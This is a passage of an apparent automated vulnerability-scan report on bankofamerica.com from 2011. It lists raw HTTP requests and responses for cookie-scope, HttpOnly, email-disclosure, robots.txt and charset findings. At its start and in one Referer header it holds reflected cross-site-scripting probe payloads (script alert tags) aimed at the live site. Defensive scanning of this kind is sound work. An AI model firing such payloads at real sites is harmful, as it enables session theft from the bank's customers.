P3p: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Content-Length: 13458

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="Description" content="Plea
...[SNIP]...
<a href="http://www.bankofamerica.com/contact/?state=MAe90dc"><script>alert(1)</script>89153cb12e0">
...[SNIP]...

2. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/bridge/surveybridge.cfm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /surveys/bridge/surveybridge.cfm?surveynumber=9 HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://locators.bankofamerica.com/locator/locator/LocatorAction.do
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; state=MA; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:35 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Set-Cookie: state=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=MA; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Set-Cookie: SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; path=/; domain=.bankofamerica.com;
Content-Length: 16269


                                                                                                                       <html lang="en-US">
<head>


<script language="JavaScript" type="text/javascript">
   <!--
       var hParent = null;
       var
...[SNIP]...

2.2. http://www.bankofamerica.com/surveys/survey_select.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/survey_select.cfm

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /surveys/survey_select.cfm?surveynumber=9&blurwindow= HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm?surveynumber=9&blurwindow=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; state=MA

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:38 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Set-Cookie: state=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=MA; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Set-Cookie: SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; expires=Wed, 28-Dec-2011 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Set-Cookie: SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; expires=Wed, 28-Dec-2011 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Content-Length: 735


                                                                                                                                                                                                                                                                                                                                                           
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next
There are 5 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://www.bankofamerica.com/coremetrics/cmdatatagutils.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /coremetrics/cmdatatagutils.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /coremetrics/cmdatatagutils.js HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://learn.bankofamerica.com/products/money-management/text-banking.html?cm_sp=MOBILE-TxtBanking-_-TB_CMS_Defaults-_-MV14CH0002_BHP-Def-Hero_dep-010_hm_tb_ar84q620-o.jpg
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; state=MA; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; throttle_value=31; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 14:10:29 GMT
Content-length: 25169
Content-type: application/x-javascript
Last-modified: Sat, 04 Dec 2010 22:18:57 GMT
Etag: "6251-4cfabe51"
Accept-ranges: bytes
Set-Cookie: BIGipServerngen-www.80=1453766315.20480.0000; path=/

/* cmdatatagutils.js
* $Id: cmdatatagutils-Comprehensive-Condensed-master.txt 158951 2010-10-26 18:29:42Z cterrell $
*
* Coremetrics Tag v4.0, 8/11/2006
* COPYRIGHT . 1999-2010 COREMETRICS, AN IBM COM
...[SNIP]...

3.2. http://www.bankofamerica.com/coremetrics/v40/eluminate.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /coremetrics/v40/eluminate.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /coremetrics/v40/eluminate.js HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://learn.bankofamerica.com/products/money-management/text-banking.html?cm_sp=MOBILE-TxtBanking-_-TB_CMS_Defaults-_-MV14CH0002_BHP-Def-Hero_dep-010_hm_tb_ar84q620-o.jpg
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; state=MA; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; throttle_value=31; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 14:10:29 GMT
Content-length: 26681
Content-type: application/x-javascript
Last-modified: Sat, 04 Dec 2010 22:18:57 GMT
Etag: "6839-4cfabe51"
Accept-ranges: bytes
Set-Cookie: BIGipServerngen-www.80=916895403.20480.0000; path=/

/*$Id: eluminate-Comprehensive-Condensed-master.txt 158951 2010-10-26 18:29:42Z cterrell $*/if(!cGB){var cGB=true;if(!cm_ClientID){var cm_ClientID="60010394";}if(!cm_HOST){var cm_HOST="testdata.coreme
...[SNIP]...

3.3. http://www.bankofamerica.com/global/mvc_objects/stylesheet/hs2_mvc_content_style.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /global/mvc_objects/stylesheet/hs2_mvc_content_style.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /global/mvc_objects/stylesheet/hs2_mvc_content_style.css HTTP/1.1
Host: www.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys12dd0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea01f5a16cdc/bridge/surveybridge.cfm?surveynumber=9

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:22:34 GMT
Content-length: 27766
Content-type: text/css
Last-modified: Sat, 18 Jun 2011 05:48:32 GMT
Etag: "6c76-4dfc3c30"
Accept-ranges: bytes
Set-Cookie: BIGipServerngen-www.80=531019435.20480.0000; path=/

/* top level font to cascade */
.standard-font {font-size: 71%; font-family : Verdana, Arial, Geneva, Helvetica, sans-serif;}
.standard-font2 {font-size: 100%; font-family : Verdana, Arial, Geneva, He
...[SNIP]...

3.4. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/bridge/surveybridge.cfm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /surveys/bridge/surveybridge.cfm?surveynumber=9 HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://locators.bankofamerica.com/locator/locator/LocatorAction.do
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; state=MA; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:35 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Set-Cookie: state=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=MA; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Set-Cookie: SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; path=/; domain=.bankofamerica.com;
Content-Length: 16269


                                                                                                                       <html lang="en-US">
<head>


<script language="JavaScript" type="text/javascript">
   <!--
       var hParent = null;
       var
...[SNIP]...

3.5. http://www.bankofamerica.com/surveys/survey_select.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/survey_select.cfm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /surveys/survey_select.cfm?surveynumber=9&blurwindow= HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm?surveynumber=9&blurwindow=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; state=MA

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:38 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Set-Cookie: state=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/
Set-Cookie: STATE=MA; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com
Set-Cookie: state=MA; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com
Page-Completion-Status: Normal
Page-Completion-Status: Normal
Set-Cookie: SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; expires=Wed, 28-Dec-2011 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Set-Cookie: SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; expires=Wed, 28-Dec-2011 00:00:00 GMT; path=/; domain=.bankofamerica.com;
Content-Length: 735


                                                                                                                                                                                                                                                                                                                                                           
...[SNIP]...

4. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /global/mvc_objects/flyout/HM_ScriptDOM.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /global/mvc_objects/flyout/HM_ScriptDOM.js HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/popup_visit.cfm?survey_url=http://bankofamerica.researchhq.com/onlinebanking/index.php?cust=LOCP&survey_name=CTS%20Survey%20for%20ATM%20BC%20Locator%20II&surveynumber=9
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; state=MA; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:46 GMT
Content-length: 46855
Content-type: application/x-javascript
Last-modified: Mon, 23 Feb 2004 21:21:26 GMT
Etag: "b707-403a6ed6"
Accept-ranges: bytes

/*HM_ScriptDOM.js
* by Peter Belesis. v4.3 020605
* Copyright (c) 2002 Peter Belesis. All Rights Reserved.
* Originally published and documented at http://www.dhtmlab.com/
* Available solely from INT Media Group. Incorporated under exclusive license.
* Contact licensing@internet.com for more information.
*/

HM_IE5M = HM_IE && HM_Mac;
HM_NS6 = (navigator.vendor == ("Netscape6") || navigator.product == ("Gecko"));

if(HM_Konqueror) HM_IE = false;
HM_IE5W = HM_IE && !HM_Mac;
HM_IEp
...[SNIP]...

5. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /www/global/js/tc_throttle.js

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.bankofamerica.com

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 14:10:35 GMT
Content-length: 1298
Content-type: text/plain
Last-modified: Sat, 19 Mar 2011 19:08:31 GMT
Accept-ranges: bytes
Connection: close

User-agent: * # applies to all robots
Disallow: /global     # disallow indexing of restricted areas
Disallow: /cfdocs
Disallow: /thirdparty
Disallow: /directbenefits
Disallow: /groupbanking

...[SNIP]...

6. HTML does not specify charset  previous  next
There are 3 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


6.1. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/bridge/surveybridge.cfm

Request

GET /surveys/bridge/surveybridge.cfm?surveynumber=9 HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://locators.bankofamerica.com/locator/locator/LocatorAction.do
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; state=MA; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:35 GMT
Content-type: text/html
P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
